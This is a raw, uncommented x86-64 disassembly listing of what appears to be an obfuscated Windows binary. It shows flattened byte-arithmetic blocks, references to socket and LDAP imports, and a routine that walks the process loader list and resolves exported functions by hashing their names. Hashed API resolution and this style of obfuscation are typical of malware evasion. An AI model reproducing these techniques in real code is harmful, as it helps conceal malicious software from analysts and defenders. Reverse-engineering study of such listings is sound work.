sub cl, al
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x14012b9d3
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
mov byte [rbp + r11 - 0x30], dil
inc r11
jmp 0x14012b9d3
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
cmp r8, 0x400
jb 0x14012be03
mov edx, 8
movzx r9d, r11b
lea ecx, [r9 - 0x70]
movzx eax, cl
and al, r10b
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x14012c362
lea edx, [r11 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 9
jae 0x14012c231
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x14012c1aa
lea edx, [r11 - 0x50]
mov ecx, Ordinal_26
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14012be26
lea edx, [r11 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 6
je 0x14012c259
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x14012c0d8
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x14012be6d
lea edx, [r11 - 0x30]
mov ecx, Ordinal_41
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x14012b9d3
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x14012c29e
movzx r9d, r11b
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x14012c274
lea edx, [r11 + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14012c3d2
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x14012c3cf
lea edx, [r11 - 0x50]
mov ecx, Ordinal_26
movzx eax, dl
dec r11
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x14012b9d3
lea ecx, [r11 + 0x80]
inc r8
movzx eax, cl
dec r11
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
inc r11
jmp 0x14012b9d3
movzx r9d, r11b
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x14012c362
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x14012c023
lea edx, [r11 + 0x18]
mov ecx, Ordinal_46
movzx eax, dl
and al, r10b
jmp 0x14012beb2
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14012c05a
lea edx, [r11 - 0x10]
mov ecx, gethostname
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x14012b9d3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14012c082
movzx r9d, r11b
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x14012c274
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14012c0aa
movzx r9d, r11b
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x14012c3ad
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14012bebd
lea ecx, [r11 + 0x10]
dec r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
inc r11
jmp 0x14012b9d3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14012c100
movzx r9d, r11b
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x14012c362
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14012c12e
lea edx, [r11 + 0x48]
mov ecx, 4
movzx eax, dl
dec r11
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x14012b9d3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14012c156
movzx r9d, r11b
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x14012c3ad
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14012c17e
lea edx, [r11 - 0x58]
mov ecx, 0x34
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14012c3cf
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14012be6d
lea edx, [r11 - 0x28]
mov ecx, listen
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14012c3d2
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14012c1dd
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
lea edi, [r10 + rcx]
sub dil, 0x20
inc r11
jmp 0x14012b9d3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14012c206
mov ecx, reloc.WLDAP32.dll_Ordinal_32
movzx r9d, r11b
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14012c274
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14012be26
movzx ecx, r11b
movzx edi, r11b
and cl, r10b
dec r11
add cl, cl
sub dil, cl
add dil, r10b
inc r11
jmp 0x14012b9d3
movzx edi, byte [rbp + r11 - 0x30]
movzx r9d, r11b
lea edx, [r9 - 0x40]
movzx eax, dl
and al, r10b
add al, al
sub dil, al
sub dil, 0x40
add dil, r10b
add dil, dl
jmp 0x14012c3ad
mov ecx, gethostname
movzx r9d, r11b
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add r9b, 8
movzx eax, r10b
and al, r9b
inc r8
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x38
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 - 0x30], al
add rax, r8
sub r11, rax
lea edx, [r11 + 0x20]
inc rbx
movzx eax, dl
mov ecx, reloc.WS2_32.dll_recv
and al, r10b
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, rbx
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 - 0x30], cl
add r11, rax
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x14012b9d3
lea edx, [r11 - 0x58]
mov ecx, 0x34
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r11
jmp 0x14012b9d3
lea edx, [r11 + 0x18]
mov ecx, Ordinal_46
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14012c3d2
movzx r9d, r11b
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x14012c362
movzx r9d, r11b
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
sub r9b, 0x58
movzx eax, r10b
and al, r9b
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r11 - 0x30], cl
inc r8
dec r11
inc r11
jmp 0x14012b9d3
mov ecx, reloc.WLDAP32.dll_Ordinal_60
movzx r9d, r11b
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x28
movzx eax, r10b
and al, r9b
mov ecx, listen
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
add cl, r9b
mov byte [rbp + r11 - 0x30], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14012b9d3
lea rcx, [r11 + r15]
mov edx, 4
movzx eax, cl
and al, r9b
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
movzx eax, byte [rbp + r11 - 0x30]
add rax, r8
add r11, rax
inc r11
jmp 0x14012b9d3
add r11b, 0x78
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x48
jmp 0x14012b9d0
add r11b, 0x48
mov ecx, 4
movzx eax, r11b
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x14012b9c0
lea rdx, [rbp + 0x16297f0]
jmp 0x14012c46c
lea rdx, [rbp + 0x797e08]
jmp 0x14012c46c
lea rdx, [rbp - 0x30]
mov rcx, r13
call r12
test rax, rax
je 0x14012c624
cmp qword [0x1404378b8], 0
jne 0x14012c620
mov rax, qword gs:[0x60]
xor r11d, r11d
mov r10d, 0x68f45ae7
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
nop dword [rax]
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14012c4fd
psrldq xmm0, 8
mov edx, 0xee1466e2
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x14012c4f4
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x14012c4e0
cmp edx, r11d
jne 0x14012c600
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r14, rcx
mov ebx, ecx
shr r14, 0x20
add rbx, r9
cmp rbx, r9
je 0x14012c600
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14012c600
mov esi, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rcx, [rsi + r8*4]
mov edx, dword [rcx + r9]
mov ecx, 0xee1466e2
add rdx, r9
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14012c577
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x14012c560
cmp ecx, r10d
je 0x14012c583
test r8d, r8d
jne 0x14012c540
jmp 0x14012c600
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r9
add rcx, r9
movzx edx, word [rax + r8*2]
mov r8d, dword [rcx + rdx*4]
add r8, r9
cmp r8, rbx
jbe 0x14012c619
lea rax, [r14 + rbx]
cmp r8, rax
jae 0x14012c619
movzx eax, byte [r8]
mov r11d, 0xee1466e2
mov r10d, r11d
cmp al, 0x2e
je 0x14012c5d8
nop word [rax + rax]
movsx eax, al
inc r8
xor eax, r11d
imul r11d, eax, 0x1000193
movzx eax, byte [r8]
cmp al, 0x2e
jne 0x14012c5c0
movzx eax, byte [r8 + 1]
inc r8
test al, al
je 0x14012c5fd
movsx eax, al
lea r8, [r8 + 1]
xor eax, r10d
imul r10d, eax, 0x1000193
movzx eax, byte [r8]
test al, al
jne 0x14012c5e4
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14012c616
cmp qword [rax + 0x30], 0
jne 0x14012c4b0
xor r8d, r8d
mov qword [0x1404378b8], r8
mov al, 1
jmp 0x14012c626
xor al, al
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret